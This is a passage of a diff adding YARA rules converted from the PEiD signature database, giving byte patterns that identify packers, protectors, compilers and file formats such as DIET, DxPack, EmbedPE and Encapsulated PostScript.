+    meta:
+        description = "[dePACK -> deNULL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00465_Dev_C___4_9_9_2____Bloodshed_Software_
+{
+    meta:
+        description = "[Dev-C++ 4.9.9.2 -> Bloodshed Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+    condition:
+        $a
+}
+
+rule PEiD_00466_Dev_C___v4_
+{
+    meta:
+        description = "[Dev-C++ v4]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00467_Dev_C___v5_
+{
+    meta:
+        description = "[Dev-C++ v5]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00468_DIET_v1_00__v1_00d_
+{
+    meta:
+        description = "[DIET v1.00, v1.00d]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00469_DIET_v1_00d_
+{
+    meta:
+        description = "[DIET v1.00d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00470_DIET_v1_02b__v1_10a__v1_20_
+{
+    meta:
+        description = "[DIET v1.02b, v1.10a, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+    condition:
+        $a
+}
+
+rule PEiD_00471_DIET_v1_44__v1_45f_
+{
+    meta:
+        description = "[DIET v1.44, v1.45f]"
+        ep_only = "true"
+    strings:
+        $a = {F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52}
+    condition:
+        $a
+}
+
+rule PEiD_00472_Ding_Boy_s_PE_lock_Phantasm_v0_8_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v0.8]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00473_Ding_Boy_s_PE_lock_Phantasm_v1_0___v1_1_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v1.0 / v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+    condition:
+        $a
+}
+
+rule PEiD_00474_Ding_Boy_s_PE_lock_Phantasm_v1_5b3_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v1.5b3]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+    condition:
+        $a
+}
+
+rule PEiD_00475_Ding_Boy_s_PE_lock_v0_07_
+{
+    meta:
+        description = "[Ding Boy's PE-lock v0.07]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00476_diPacker_1_x____diProtector_Software_
+{
+    meta:
+        description = "[diPacker 1.x -> diProtector Software]"
+        ep_only = "true"
+    strings:
+        $a = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+    condition:
+        $a
+}
+
+rule PEiD_00477_diProtector_1_x____diProtector_Software_
+{
+    meta:
+        description = "[diProtector 1.x -> diProtector Software]"
+        ep_only = "true"
+    strings:
+        $a = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+    condition:
+        $a
+}
+
+rule PEiD_00478_DiskDupe__c__MSD_Configuration_file_
+{
+    meta:
+        description = "[DiskDupe (c) MSD Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 53 44 20 44 61 74 61 20 56 65 72 73}
+    condition:
+        $a
+}
+
+rule PEiD_00479_DiskDupe__c__MSD_Users_file_
+{
+    meta:
+        description = "[DiskDupe (c) MSD Users file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 53 44 20 55 73 65 72 73 20 56 65 72 73 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00480_DJoin_v0_7_public__RC4_encryption_____drmist_
+{
+    meta:
+        description = "[DJoin v0.7 public (RC4 encryption) -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00481_DJoin_v0_7_public__xor_encryption_____drmist_
+{
+    meta:
+        description = "[DJoin v0.7 public (xor encryption) -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00482_DOS_16M_DOS_Extender__c__Tenberry_Software_Inc_1987_1995_
+{
+    meta:
+        description = "[DOS/16M DOS Extender (c) Tenberry Software Inc 1987-1995]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E C7 8E D7 BC ?? ?? 36 ?? ?? ?? ?? FF ?? ?? ?? 36 ?? ?? ?? ?? BE ?? ?? AC 8A D8 B7 00 ?? ?? 8B ?? ?? ?? 4F 8E C7}
+    condition:
+        $a
+}
+
+rule PEiD_00483_DOS32_v_3_3_DOS_Extender_and_Loader_
+{
+    meta:
+        description = "[DOS32 v.3.3 DOS-Extender and Loader]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F FC 9C 5B 8B C3 80 F4 ?? 50 9D 9C 58 3A E7 75 ?? BA ?? ?? B4 09 CD 21 B4 4C CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_00484_DotFix_Nice_Protect_2_1____GPcH_Soft_
+{
+    meta:
+        description = "[DotFix Nice Protect 2.1 -> GPcH Soft]"
+        ep_only = "true"
+    strings:
+        $a = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00485_DotFix_Nice_Protect_V2_1____GPcH_Soft___Sign_By_haggar_
+{
+    meta:
+        description = "[DotFix Nice Protect V2.1 -> GPcH Soft * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00486_DotFix_NiceProtect_vna_
+{
+    meta:
+        description = "[DotFix NiceProtect vna]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+    condition:
+        $a
+}
+
+rule PEiD_00487_Dr_Web_Virus_Finding_Engine____InSoft_EDV_Systeme_
+{
+    meta:
+        description = "[Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme]"
+        ep_only = "true"
+    strings:
+        $a = {B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04}
+    condition:
+        $a
+}
+
+rule PEiD_00488_DragonArmor____Orient_
+{
+    meta:
+        description = "[DragonArmor -> Orient]"
+        ep_only = "true"
+    strings:
+        $a = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+    condition:
+        $a
+}
+
+rule PEiD_00489_DragonArmor____Orient_
+{
+    meta:
+        description = "[DragonArmor -> Orient]"
+        ep_only = "true"
+    strings:
+        $a = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 5C ?? ?? 00 E8 C0 09 00 00 8B 1D 04 ?? ?? 00 83 C4 0C 68 5C ?? ?? 00 56 FF D3 A3 D4 ?? ?? 00 BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 5C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1}
+    condition:
+        $a
+}
+
+rule PEiD_00490_Dropper_Creator_V0_1____Conflict_
+{
+    meta:
+        description = "[Dropper Creator V0.1 -> Conflict]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+    condition:
+        $a
+}
+
+rule PEiD_00491_DSHIELD_
+{
+    meta:
+        description = "[DSHIELD]"
+        ep_only = "true"
+    strings:
+        $a = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00492_Dual_s_Cryptor____dual_
+{
+    meta:
+        description = "[Dual's Cryptor -> dual]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E}
+    condition:
+        $a
+}
+
+rule PEiD_00493_Dual_s_eXe_1_0_
+{
+    meta:
+        description = "[Dual's eXe 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+    condition:
+        $a
+}
+
+rule PEiD_00494_Dual_s_eXe_1_0_
+{
+    meta:
+        description = "[Dual's eXe 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 0E 04 00 00 89 03 58 83 C3 04 EB E3 8D 85 24 03 00 00 50 68 1F 00 02 00 6A 00 8D 85 48 03 00 00 50 68 01 00 00 80 FF 95 69 02 00 00 83 BD 24 03 00 00 00 0F 84 8B 00 00 00 C7 85 28 03 00 00 04 00 00 00 8D 85 28 03 00 00 50 8D 85 20 03 00 00 50 8D 85 6C 03 00 00 50 6A 00 8D 85 62 03 00 00 50 FF B5 24 03 00 00 FF 95 71 02 00 00 83 BD 20 03 00 00 01 7E 02 EB 20 6A 40 8D 85 73 03 00 00 50 8D 85 82 03 00 00 50 6A 00 FF 95 61 02 00 00 6A 00 FF 95 65 02 00 00 FF 8D 20 03 00 00 FF}
+    condition:
+        $a
+}
+
+rule PEiD_00495_Dual_s_eXe_Encryptor_1_0b____Dual_
+{
+    meta:
+        description = "[Dual's eXe Encryptor 1.0b -> Dual]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 5C 05 00 00 89 03 58 83 C3 04 EB E3 8D 85 69 02 00 00 FF D0 8D 85 56 04 00 00 50 68 1F 00 02 00 6A 00 8D 85 7A 04 00 00 50}
+    condition:
+        $a
+}
+
+rule PEiD_00496_dUP_2_x_Patcher____www_diablo2oo2_cjb_net_
+{
+    meta:
+        description = "[dUP 2.x Patcher -> www.diablo2oo2.cjb.net]"
+        ep_only = "false"
+    strings:
+        $a = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+    condition:
+        $a
+}
+
+rule PEiD_00497_dUP_v2_x_Patcher_____www_diablo2oo2_cjb_net_
+{
+    meta:
+        description = "[dUP v2.x Patcher --> www.diablo2oo2.cjb.net]"
+        ep_only = "false"
+    strings:
+        $a = {54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00498_dUP2____diablo2oo2_
+{
+    meta:
+        description = "[dUP2 -> diablo2oo2]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75}
+    condition:
+        $a
+}
+
+rule PEiD_00499_dUP2____diablo2oo2_
+{
+    meta:
+        description = "[dUP2 -> diablo2oo2]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68}
+    condition:
+        $a
+}
+
+rule PEiD_00500_DxPack_1_0_
+{
+    meta:
+        description = "[DxPack 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84}
+    condition:
+        $a
+}
+
+rule PEiD_00501_DxPack_V0_86____Dxd_
+{
+    meta:
+        description = "[DxPack V0.86 -> Dxd]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00502_DzA_Patcher_1_3_Loader_
+{
+    meta:
+        description = "[DzA Patcher 1.3 Loader]"
+        ep_only = "false"
+    strings:
+        $a = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_00503_DZA_Patcher_v1_3____DZA_
+{
+    meta:
+        description = "[DZA Patcher v1.3 -> DZA]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00504_DZA_Patcher_v1_3____DZA_
+{
+    meta:
+        description = "[DZA Patcher v1.3 -> DZA]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00 8D BD A4 74 40 00 E8 72 00 00 00 89 85 84 74 40 00 8D BD F0 73 40 00 57 FF D0 8D BD 99 74 40 00 E8 58 00 00 00 89 85 88 74 40 00 8B 85 78 74 40 00 03 85 70 74 40 00 99 8D 8D 6C 74 40 00 51 52 52 50 52 52 FF 95 80 74 40 00 8D BD C0 74 40 00 8B 0F E3 13 8A 5F 05 8A 01 3A C3 75 FA 8A 57 04 88 11 83 C7 06 EB E9 E8 00 00 00 00 5D 81 ED F5 73 40 00 6A 00 FF 95 88 74 40 00 61 C3 8B D3 0F B7 43 3C 03 D8 8B 5B 78 03 DA 0B FF 74 40 8B 73 20 03 F2 8B 4B 18 53 33 DB AD 03 C2 56 57 87 FE 97 AC 0A C0 75 07 80 3F 00 74 0B}
+    condition:
+        $a
+}
+
+rule PEiD_00505_DzA_Patcher_v1_3_Loader_
+{
+    meta:
+        description = "[DzA Patcher v1.3 Loader]"
+        ep_only = "false"
+    strings:
+        $a = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 48 20 40 00 E8 C2 00 00 00 E8 C8 FF FF FF BF 40 40 40 00 FF 35 4C 20 40 00 E8 A1 00 00 00 8B 0F 83 F9 00 74 B1 60 6A 00 6A 04 6A 01 51 FF 35 48 20 40 00 E8 75 00 00 00 61 60 BB 5C 20 40 00 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 75 00 00 00 61 A0 5C 20 40 00 8A 5F 05 3A C3 74 14 FF 35 4C 20 40 00 E8 4B 00 00 00 6A 03 E8 4A 00 00 00 EB A2 60 8D 5F 04 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 4B 00 00 00 61 83 C7 06 FF 35 4C 20 40 00 E8 1E 00 00 00 6A 03 E8 1D 00 00 00 E9 72 FF FF FF FF 25 70 30 40 00 FF 25 78}
+    condition:
+        $a
+}
+
+rule PEiD_00506_E_language_
+{
+    meta:
+        description = "[E language]"
+        ep_only = "true"
+    strings:
+        $a = {E8 06 00 00 00 50 E8 ?? 01 00 00 55 8B EC 81 C4 F0 FE FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00507_E_S_O__Eclipse_Operating_System_v_2_08___DOS_Extender_
+{
+    meta:
+        description = "[E.S.O. Eclipse Operating System v.2.08 + DOS Extender]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8E D8 BA ?? ?? E8 ?? ?? BB ?? ?? 8C C0 2B D8 B4 4A CD 21 BA ?? ?? 73 ?? E9}
+    condition:
+        $a
+}
+
+rule PEiD_00508_E2C_by_DoP_
+{
+    meta:
+        description = "[E2C by DoP]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? FC 57 F3 A5 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00509_EEXE_Version_1_12_
+{
+    meta:
+        description = "[EEXE Version 1.12]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 03 73 ?? BA 1F 00 0E 1F B4 09 CD 21 B8 FF 4C CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_00510_Elicense_System_V4_0_0_0____ViaTech_Inc_
+{
+    meta:
+        description = "[Elicense System V4.0.0.0 -> ViaTech Inc]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 63 79 62 00 65 6C 69 63 65 6E 34 30 2E 64 6C 6C 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00511_Embed_PE_v1_13____cyclotron_
+{
+    meta:
+        description = "[Embed PE v1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68}
+    condition:
+        $a
+}
+
+rule PEiD_00512_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00513_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33}
+    condition:
+        $a
+}
+
+rule PEiD_00514_EmbedPE_1_13____cyclotron_
+{
+    meta:
+        description = "[EmbedPE 1.13 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68 B8 5E 2D C6 DA FD 48 63 05 3C 71 B8 5E 97 7C 36 7E 32 7C 08 4F 06 51 64 10 A3 F1 4E CF 25 CB 80 D2 99 54 46 ED E1 D3 46 86 2D 10 68 93 83 5C 46 4D 43 9B 8C D6 7C BB 99 69 97 71 2A 2F A3 38 6B 33 A3 F5 0B 85 97 7C BA 1D 96 DD 07 F8 FD D2 3A 98 83 CC 46 99 9D DF 6F 89 92 54 46 9F 94 43 CC 41 43 9B 8C 61 B9 D8 6F 96 3B D1 07 32 24 DD 07 05 8E CB 6F A1 07 5C 62 20 E0 DB BA 9D 83 54 46 E6 83 51 7A 2B 94 54 64 8A 83 05 68 D7 5E 2D C6 B7 57 00 B3 E8 3C 71 B8 3C 97 7C 36 19 32 7C 08 2A 06 51 64 73 A3 F1 4E 92 25 CB 80 8D 99 54 46 B0 E1 D3 46 A5 2D 10 68 B6 83 91 46 F2 DF 64 FD D1 BC CA AA 70 E2 AB 39 AE 3B 5A 6F 9B 15 BD 25 98 25 30 4C AD 7D 55 07 A8 A3 AC 0A C1 BD 54 72 BC 83 54 82 A3 97 B1 1A B3 83 54 46 83}
+    condition:
+        $a
+}
+
+rule PEiD_00515_EmbedPE_V1_00_V1_24____cyclotron___Sign_by_fly_
+{
+    meta:
+        description = "[EmbedPE V1.00-V1.24 -> cyclotron ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00516_EmbedPE_V1_00_V1_24____cyclotron_
+{
+    meta:
+        description = "[EmbedPE V1.00-V1.24 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00517_EmbedPE_v1_24____cyclotron_
+{
+    meta:
+        description = "[EmbedPE v1.24 -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00518_EmbedPE_V1_X____cyclotron_
+{
+    meta:
+        description = "[EmbedPE V1.X -> cyclotron]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 50 60 68 ?? ?? ?? ?? E8 ?? ?? 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00519_Encapsulated_Postscript_graphics_file_v2_0_EPSF_1_2_
+{
+    meta:
+        description = "[Encapsulated Postscript graphics file v2.0 EPSF-1.2]"
+        ep_only = "false"
+    strings:
+        $a = {25 21 50 53 2D 41 64 6F 62 65 2D 32 2E 30 20 45 50 53 46 2D 31 2E 32}
+    condition:
+        $a
+}
+
+rule PEiD_00520_Encapsulated_Postscript_graphics_file_v3_0_EPSF_3_0_
+{
+    meta:
+        description = "[Encapsulated Postscript graphics file v3.0 EPSF-3.0]"
+        ep_only = "false"
+    strings:
+        $a = {25 21 50 53 2D 41 64 6F 62 65 2D 33 2E 30 20 45 50 53 46 2D 33 2E 30}
+    condition:
+        $a
+}
+
+rule PEiD_00521_Encrypted_by__RSCC_286_v1_01_
+{
+    meta:
